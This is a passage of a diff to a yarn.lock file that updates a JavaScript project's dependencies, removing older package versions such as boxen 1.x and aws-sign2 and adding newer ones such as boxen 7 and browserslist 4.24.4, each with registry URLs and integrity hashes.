@@ -3990,7 +4848,7 @@ ajv@6.12.2, ajv@^6.1.0:
     json-schema-traverse "^0.4.1"
     uri-js "^4.2.2"
 
-ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.2:
+ajv@^6.10.0, ajv@^6.12.2:
   version "6.12.4"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.4.tgz#0614facc4522127fa713445c6bfd3ebd376e2234"
   integrity sha512-eienB2c9qVQs2KWexhkrdMLVDoIQCz5KSeLxwg9Lzk4DOfBtIK9PQwwufcsn1jjGuf9WZmqPMbGxOzfcuphJCQ==
@@ -4010,16 +4868,6 @@ ajv@^6.12.4, ajv@^6.12.5:
     json-schema-traverse "^0.4.1"
     uri-js "^4.2.2"
 
-ajv@^6.5.5, ajv@^6.9.1:
-  version "6.10.2"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.10.2.tgz#d3cea04d6b017b2894ad69040fec8b623eb4bd52"
-  integrity sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==
-  dependencies:
-    fast-deep-equal "^2.0.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
 ajv@^8.0.0, ajv@^8.9.0:
   version "8.12.0"
   resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.12.0.tgz#d1a0527323e22f53562c567c00991577dfbe19d1"
@@ -4040,13 +4888,6 @@ ajv@^8.0.1:
     require-from-string "^2.0.2"
     uri-js "^4.2.2"
 
-ansi-align@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-2.0.0.tgz#c36aeccba563b89ceb556f3690f0b1d9e3547f7f"
-  integrity sha1-w2rsy6VjuJzrVW82kPCx2eNUf38=
-  dependencies:
-    string-width "^2.0.0"
-
 ansi-align@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-3.0.0.tgz#b536b371cf687caaef236c18d3e21fe3797467cb"
@@ -4054,6 +4895,13 @@ ansi-align@^3.0.0:
   dependencies:
     string-width "^3.0.0"
 
+ansi-align@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-align/-/ansi-align-3.0.1.tgz#0cdf12e111ace773a86e9a1fad1225c43cb19a59"
+  integrity sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==
+  dependencies:
+    string-width "^4.1.0"
+
 ansi-colors@^1.0.1:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-1.1.0.tgz#6374b4dd5d4718ff3ce27a671a3b1cad077132a9"
@@ -4109,11 +4957,6 @@ ansi-regex@^2.0.0:
   resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
   integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
 
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
 ansi-regex@^4.1.0:
   version "4.1.0"
   resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
@@ -4134,7 +4977,7 @@ ansi-styles@^2.2.1:
   resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
   integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
 
-ansi-styles@^3.2.0, ansi-styles@^3.2.1:
+ansi-styles@^3.2.1:
   version "3.2.1"
   resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
   integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
@@ -4163,7 +5006,7 @@ ansi-wrap@0.1.0, ansi-wrap@^0.1.0:
   resolved "https://registry.yarnpkg.com/ansi-wrap/-/ansi-wrap-0.1.0.tgz#a82250ddb0015e9a27ca82e82ea603bbfa45efaf"
   integrity sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==
 
-any-promise@^1.0.0, any-promise@^1.1.0, any-promise@~1.3.0:
+any-promise@^1.0.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/any-promise/-/any-promise-1.3.0.tgz#abc6afeedcea52e809cdc0376aed3ce39635d17f"
   integrity sha1-q8av7tzqUugJzcA3au0845Y10X8=
@@ -4296,15 +5139,10 @@ arr-union@^3.1.0:
   resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
   integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
 
-array-differ@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/array-differ/-/array-differ-3.0.0.tgz#3cbb3d0f316810eafcc47624734237d6aee4ae6b"
-  integrity sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==
-
-array-filter@~0.0.0:
-  version "0.0.1"
-  resolved "https://registry.yarnpkg.com/array-filter/-/array-filter-0.0.1.tgz#7da8cf2e26628ed732803581fd21f67cacd2eeec"
-  integrity sha1-fajPLiZijtcygDWB/SH2fKzS7uw=
+array-differ@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/array-differ/-/array-differ-4.0.0.tgz#aa3c891c653523290c880022f45b06a42051b026"
+  integrity sha512-Q6VPTLMsmXZ47ENG3V+wQyZS1ZxXMxFyYzA+Z/GMrJ6yIutAIEf9wTyroTzmGjNfox9/h3GdGBCVh43GVFx4Uw==
 
 array-find-index@^1.0.1, array-find-index@^1.0.2:
   version "1.0.2"
@@ -4321,16 +5159,6 @@ array-flatten@^2.1.2:
   resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099"
   integrity sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==
 
-array-map@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/array-map/-/array-map-0.0.0.tgz#88a2bab73d1cf7bcd5c1b118a003f66f665fa662"
-  integrity sha1-iKK6tz0c97zVwbEYoAP2b2ZfpmI=
-
-array-reduce@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.yarnpkg.com/array-reduce/-/array-reduce-0.0.0.tgz#173899d3ffd1c7d9383e4479525dbe278cab5f2b"
-  integrity sha1-FziZ0//Rx9k4PkR5Ul2+J4yrXys=
-
 array-slice@^0.2.3:
   version "0.2.3"
   resolved "https://registry.yarnpkg.com/array-slice/-/array-slice-0.2.3.tgz#dd3cfb80ed7973a75117cdac69b0b99ec86186f5"
@@ -4341,6 +5169,11 @@ array-union@^2.1.0:
   resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
   integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
 
+array-union@^3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/array-union/-/array-union-3.0.1.tgz#da52630d327f8b88cfbfb57728e2af5cd9b6b975"
+  integrity sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==
+
 array-unique@^0.3.2:
   version "0.3.2"
   resolved "https://registry.yarnpkg.com/array-unique/-/array-unique-0.3.2.tgz#a894b75d4bc4f6cd679ef3244a9fd8f46ae2d428"
@@ -4354,11 +5187,6 @@ array.prototype.find@^2.0.1:
     define-properties "^1.1.3"
     es-abstract "^1.13.0"
 
-arrify@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa"
-  integrity sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==
-
 art@0.10.1, art@^0.10.1:
   version "0.10.1"
   resolved "https://registry.yarnpkg.com/art/-/art-0.10.1.tgz#38541883e399225c5e193ff246e8f157cf7b2146"
@@ -4369,18 +5197,13 @@ asap@~2.0.3:
   resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
   integrity sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=
 
-asn1@^0.2.4, asn1@~0.2.3:
+asn1@^0.2.4:
   version "0.2.4"
   resolved "https://registry.yarnpkg.com/asn1/-/asn1-0.2.4.tgz#8d2475dfab553bb33e77b54e59e880bb8ce23136"
   integrity sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==
   dependencies:
     safer-buffer "~2.1.0"
 
-assert-plus@1.0.0, assert-plus@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/assert-plus/-/assert-plus-1.0.0.tgz#f12e0f3c5d77b0b1cdd9146942e4e96c1e4dd525"
-  integrity sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=
-
 assert@^1.1.1:
   version "1.5.0"
   resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb"
@@ -4394,11 +5217,6 @@ assign-symbols@^1.0.0:
   resolved "https://registry.yarnpkg.com/assign-symbols/-/assign-symbols-1.0.0.tgz#59667f41fadd4f20ccbc2bb96b8d4f7f78ec0367"
   integrity sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=
 
-astral-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-1.0.0.tgz#6c8c3fb827dd43ee3918f27b82782ab7658a6fd9"
-  integrity sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==
-
 astral-regex@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/astral-regex/-/astral-regex-2.0.0.tgz#483143c567aeed4785759c0865786dc77d7d2e31"
@@ -4416,11 +5234,6 @@ async-retry@1.2.3:
   dependencies:
     retry "0.12.0"
 
-async@^1.5.2:
-  version "1.5.2"
-  resolved "https://registry.yarnpkg.com/async/-/async-1.5.2.tgz#ec6a61ae56480c0c3cb241c95618e20892f9672a"
-  integrity sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=
-
 async@^2.0.0, async@^2.6.3:
   version "2.6.3"
   resolved "https://registry.yarnpkg.com/async/-/async-2.6.3.tgz#d72625e2344a3656e3a3ad4fa749fa83299d82ff"
@@ -4428,10 +5241,10 @@ async@^2.0.0, async@^2.6.3:
   dependencies:
     lodash "^4.17.14"
 
-async@~0.2.9:
-  version "0.2.10"
-  resolved "https://registry.yarnpkg.com/async/-/async-0.2.10.tgz#b6bbe0b0674b9d719708ca38de8c237cb526c3d1"
-  integrity sha1-trvgsGdLnXGXCMo43owjfLUmw9E=
+async@^3.2.0:
+  version "3.2.5"
+  resolved "https://registry.yarnpkg.com/async/-/async-3.2.5.tgz#ebd52a8fdaf7a2289a24df399f8d8485c8a46b66"
+  integrity sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==
 
 async@~2.5.0:
   version "2.5.0"
@@ -4440,16 +5253,16 @@ async@~2.5.0:
   dependencies:
     lodash "^4.14.0"
 
-async@~3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/async/-/async-3.2.0.tgz#b3a2685c5ebb641d3de02d161002c60fc9f85720"
-  integrity sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==
-
 asynckit@^0.4.0:
   version "0.4.0"
   resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
   integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
 
+at-least-node@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
+  integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==
+
 atob@^2.1.2:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/atob/-/atob-2.1.2.tgz#6d9517eb9e030d2436666651e86bd9f6f13533c9"
@@ -4460,16 +5273,6 @@ atomic-sleep@^1.0.0:
   resolved "https://registry.yarnpkg.com/atomic-sleep/-/atomic-sleep-1.0.0.tgz#eb85b77a601fc932cfe432c5acd364a9e2c9075b"
   integrity sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==
 
-aws-sign2@~0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/aws-sign2/-/aws-sign2-0.7.0.tgz#b46e890934a9591f2d2f6f86d7e6a9f1b3fe76a8"
-  integrity sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=
-
-aws4@^1.8.0:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/aws4/-/aws4-1.8.0.tgz#f0e003d9ca9e7f59c7a508945d7b2ef9a04a542f"
-  integrity sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==
-
 babel-code-frame@^6.26.0:
   version "6.26.0"
   resolved "https://registry.yarnpkg.com/babel-code-frame/-/babel-code-frame-6.26.0.tgz#63fd43f7dc1e3bb7ce35947db8fe369a3f58c74b"
@@ -4681,6 +5484,37 @@ babel-plugin-minify-type-constructors@^0.4.3:
   dependencies:
     babel-helper-is-void-0 "^0.4.3"
 
+babel-plugin-polyfill-corejs2@^0.4.10:
+  version "0.4.12"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.12.tgz#ca55bbec8ab0edeeef3d7b8ffd75322e210879a9"
+  integrity sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og==
+  dependencies:
+    "@babel/compat-data" "^7.22.6"
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+    semver "^6.3.1"
+
+babel-plugin-polyfill-corejs3@^0.11.0:
+  version "0.11.1"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.11.1.tgz#4e4e182f1bb37c7ba62e2af81d8dd09df31344f6"
+  integrity sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+    core-js-compat "^3.40.0"
+
+babel-plugin-polyfill-regenerator@^0.6.1:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.3.tgz#abeb1f3f1c762eace37587f42548b08b57789bc8"
+  integrity sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+
+babel-plugin-syntax-hermes-parser@^0.32.0:
+  version "0.32.0"
+  resolved "https://registry.yarnpkg.com/babel-plugin-syntax-hermes-parser/-/babel-plugin-syntax-hermes-parser-0.32.0.tgz#06f7452bf91adf6cafd7c98e7467404d4eb65cec"
+  integrity sha512-m5HthL++AbyeEA2FcdwOLfVFvWYECOBObLHNqdR8ceY4TsEdn4LdX2oTvbB2QJSSElE2AWA/b2MXZ/PF/CqLZg==
+  dependencies:
+    hermes-parser "0.32.0"
+
 babel-plugin-syntax-trailing-function-commas@^6.5.0:
   version "6.22.0"
   resolved "https://registry.yarnpkg.com/babel-plugin-syntax-trailing-function-commas/-/babel-plugin-syntax-trailing-function-commas-6.22.0.tgz#ba0360937f8d06e40180a43fe0d5616fff532cf3"
@@ -4876,18 +5710,16 @@ batch@0.6.1:
   resolved "https://registry.yarnpkg.com/batch/-/batch-0.6.1.tgz#dc34314f4e679318093fc760272525f94bf25c16"
   integrity sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=
 
-bcrypt-pbkdf@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz#63bc5dcb61331b92bc05fd528953c33462a06f8d"
-  integrity sha1-Y7xdy2EzG5K8Bf1SiVPDNGKgb40=
-  dependencies:
-    tweetnacl "^0.14.3"
-
 before-after-hook@^2.2.0:
   version "2.2.3"
   resolved "https://registry.yarnpkg.com/before-after-hook/-/before-after-hook-2.2.3.tgz#c51e809c81a4e354084422b9b26bad88249c517c"
   integrity sha512-NzUnlZexiaH/46WDhANlyR2bXRopNg4F/zuSA3OpZnllCUgRaOF2znDioDWrmbNVsuZk6l9pMquQB38cfBZwkQ==
 
+big-integer@^1.6.44:
+  version "1.6.52"
+  resolved "https://registry.yarnpkg.com/big-integer/-/big-integer-1.6.52.tgz#60a887f3047614a8e1bffe5d7173490a97dc8c85"
+  integrity sha512-QxD8cf2eVqJOOz63z6JIN9BzvVs/dlySa5HGSBH5xtR8dPteIRQnBxxKqkNTiT6jbDTF6jAfrd4oMcND9RGbQg==
+
 big.js@^5.2.2:
   version "5.2.2"
   resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328"
@@ -4972,26 +5804,26 @@ bl@^3.0.0:
   dependencies:
     readable-stream "^3.0.1"
 
-bluebird@~2.9.24:
-  version "2.9.34"
-  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-2.9.34.tgz#2f7b4ec80216328a9fddebdf69c8d4942feff7d8"
-  integrity sha1-L3tOyAIWMoqf3evfacjUlC/v99g=
+bluebird@~3.7:
+  version "3.7.2"
+  resolved "https://registry.yarnpkg.com/bluebird/-/bluebird-3.7.2.tgz#9f229c15be272454ffa973ace0dbee79a1b0c36f"
+  integrity sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==
 
-body-parser@1.20.1:
-  version "1.20.1"
-  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.1.tgz#b1812a8912c195cd371a3ee5e66faa2338a5c668"
-  integrity sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==
+body-parser@1.20.3:
+  version "1.20.3"
+  resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.20.3.tgz#1953431221c6fb5cd63c4b36d53fab0928e548c6"
+  integrity sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==
   dependencies:
     bytes "3.1.2"
-    content-type "~1.0.4"
+    content-type "~1.0.5"
     debug "2.6.9"
     depd "2.0.0"
     destroy "1.2.0"
     http-errors "2.0.0"
     iconv-lite "0.4.24"
     on-finished "2.4.1"
-    qs "6.11.0"
-    raw-body "2.5.1"
+    qs "6.13.0"
+    raw-body "2.5.2"
     type-is "~1.6.18"
     unpipe "1.0.0"
 
@@ -5015,19 +5847,6 @@ boolean@^3.0.0, boolean@^3.0.1:
   resolved "https://registry.yarnpkg.com/boolean/-/boolean-3.0.1.tgz#35ecf2b4a2ee191b0b44986f14eb5f052a5cbb4f"
   integrity sha512-HRZPIjPcbwAVQvOTxR4YE3o8Xs98NqbbL1iEZDCz7CL8ql0Lt5iOyJFxfnAB0oFs8Oh02F/lLlg30Mexv46LjA==
 
-boxen@^1.2.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/boxen/-/boxen-1.3.0.tgz#55c6c39a8ba58d9c61ad22cd877532deb665a20b"
-  integrity sha512-TNPjfTr432qx7yOjQyaXm3dSR0MH9vXp7eT1BFSl/C51g+EFnOR9hTg1IreahGBmDNCehscshe45f+C1TBZbLw==
-  dependencies:
-    ansi-align "^2.0.0"
-    camelcase "^4.0.0"
-    chalk "^2.0.1"
-    cli-boxes "^1.0.0"
-    string-width "^2.0.0"
-    term-size "^1.2.0"
-    widest-line "^2.0.0"
-
 boxen@^4.2.0:
   version "4.2.0"
   resolved "https://registry.yarnpkg.com/boxen/-/boxen-4.2.0.tgz#e411b62357d6d6d36587c8ac3d5d974daa070e64"
@@ -5042,6 +5861,41 @@ boxen@^4.2.0:
     type-fest "^0.8.1"
     widest-line "^3.1.0"
 
+boxen@^5.0.0:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/boxen/-/boxen-5.1.2.tgz#788cb686fc83c1f486dfa8a40c68fc2b831d2b50"
+  integrity sha512-9gYgQKXx+1nP8mP7CzFyaUARhg7D3n1dF/FnErWmu9l6JvGpNUN278h0aSb+QjoiKSWG+iZ3uHrcqk0qrY9RQQ==
+  dependencies:
+    ansi-align "^3.0.0"
+    camelcase "^6.2.0"
+    chalk "^4.1.0"
+    cli-boxes "^2.2.1"
+    string-width "^4.2.2"
+    type-fest "^0.20.2"
+    widest-line "^3.1.0"
+    wrap-ansi "^7.0.0"
+
+boxen@^7.0.0:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/boxen/-/boxen-7.1.1.tgz#f9ba525413c2fec9cdb88987d835c4f7cad9c8f4"
+  integrity sha512-2hCgjEmP8YLWQ130n2FerGv7rYpfBmnmp9Uy2Le1vge6X3gZIfSmEzP5QTDElFxcvVcXlEn8Aq6MU/PZygIOog==
+  dependencies:
+    ansi-align "^3.0.1"
+    camelcase "^7.0.1"
+    chalk "^5.2.0"
+    cli-boxes "^3.0.0"
+    string-width "^5.1.2"
+    type-fest "^2.13.0"
+    widest-line "^4.0.1"
+    wrap-ansi "^8.1.0"
+
+bplist-parser@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/bplist-parser/-/bplist-parser-0.2.0.tgz#43a9d183e5bf9d545200ceac3e712f79ebbe8d0e"
+  integrity sha512-z0M+byMThzQmD9NILRniCUXYsYpjwnlO8N5uCFaCqIOpqRsJCrQL9NK3JsD67CN5a08nF5oIL2bD6loTdHOuKw==
+  dependencies:
+    big-integer "^1.6.44"
+
 brace-expansion@^1.1.7:
   version "1.1.11"
   resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
@@ -5107,17 +5961,6 @@ browserslist@^4.14.5:
     node-releases "^2.0.8"
     update-browserslist-db "^1.0.10"
 
-browserslist@^4.17.5:
-  version "4.18.1"
-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.18.1.tgz#60d3920f25b6860eb917c6c7b185576f4d8b017f"
-  integrity sha512-8ScCzdpPwR2wQh8IT82CA2VgDwjHyqMovPBZSNH54+tm4Jk2pCuv90gmAdH6J84OCRWi0b4gMe6O6XPXuJnjgQ==
-  dependencies:
-    caniuse-lite "^1.0.30001280"
-    electron-to-chromium "^1.3.896"
-    escalade "^3.1.1"
-    node-releases "^2.0.1"
-    picocolors "^1.0.0"
-
 browserslist@^4.21.3, browserslist@^4.22.2:
   version "4.23.0"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.23.0.tgz#8f3acc2bbe73af7213399430890f86c63a5674ab"
@@ -5128,6 +5971,16 @@ browserslist@^4.21.3, browserslist@^4.22.2:
     node-releases "^2.0.14"
     update-browserslist-db "^1.0.13"
 
+browserslist@^4.24.0, browserslist@^4.24.4:
+  version "4.24.4"
+  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.4.tgz#c6b2865a3f08bcb860a0e827389003b9fe686e4b"
+  integrity sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==
+  dependencies:
+    caniuse-lite "^1.0.30001688"
+    electron-to-chromium "^1.5.73"
+    node-releases "^2.0.19"
+    update-browserslist-db "^1.1.1"
+
 browserslist@^4.8.3:
   version "4.8.5"
   resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.8.5.tgz#691af4e327ac877b25e7a3f7ee869c4ef36cdea3"
@@ -5162,10 +6015,10 @@ buffer-crc32@^0.2.1, buffer-crc32@^0.2.13, buffer-crc32@~0.2.3:
   resolved "https://registry.yarnpkg.com/buffer-crc32/-/buffer-crc32-0.2.13.tgz#0d333e3f00eac50aa1454abd30ef8c2a5d9a7242"
   integrity sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=
 
-buffer-equal-constant-time@1.0.1:
+buffer-equal-constant-time@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz#f8e71132f7ffe6e01a5c9697a4c6f3e48d5cc819"
-  integrity sha1-+OcRMvf/5uAaXJaXpMbz5I1cyBk=
+  integrity sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==
 
 buffer-fill@^1.0.0:
   version "1.0.0"
@@ -5215,13 +6068,27 @@ builtin-modules@^3.3.0:
   resolved "https://registry.yarnpkg.com/builtin-modules/-/builtin-modules-3.3.0.tgz#cae62812b89801e9656336e46223e030386be7b6"
   integrity sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==
 
-bunyan@1.8.12:
-  version "1.8.12"
-  resolved "https://registry.yarnpkg.com/bunyan/-/bunyan-1.8.12.tgz#f150f0f6748abdd72aeae84f04403be2ef113797"
-  integrity sha1-8VDw9nSKvdcq6uhPBEA74u8RN5c=
+bundle-name@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/bundle-name/-/bundle-name-3.0.0.tgz#ba59bcc9ac785fb67ccdbf104a2bf60c099f0e1a"
+  integrity sha512-PKA4BeSvBpQKQ8iPOGCSiell+N8P+Tf1DlwqmYhpe2gAhKPHn8EYOxVT+ShuGmhg8lN8XiSlS80yiExKXrURlw==
+  dependencies:
+    run-applescript "^5.0.0"
+
+bundle-require@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/bundle-require/-/bundle-require-5.1.0.tgz#8db66f41950da3d77af1ef3322f4c3e04009faee"
+  integrity sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==
+  dependencies:
+    load-tsconfig "^0.2.3"
+
+bunyan@1.8.15:
+  version "1.8.15"
+  resolved "https://registry.yarnpkg.com/bunyan/-/bunyan-1.8.15.tgz#8ce34ca908a17d0776576ca1b2f6cbd916e93b46"
+  integrity sha512-0tECWShh6wUysgucJcBAoYegf3JJoZWibxdqhTm7OHPeT42qdjkZ29QCMcKwbgU1kiH+auSIasNRXMLWXafXig==
   optionalDependencies:
     dtrace-provider "~0.8"
-    moment "^2.10.6"
+    moment "^2.19.3"
     mv "~2"
     safe-json-stringify "~1"
 
@@ -5235,6 +6102,11 @@ bytes@3.1.2:
   resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.2.tgz#8b0beeb98605adf1b128fa4386403c009e0221a5"
   integrity sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==
 
+cac@^6.7.14:
+  version "6.7.14"
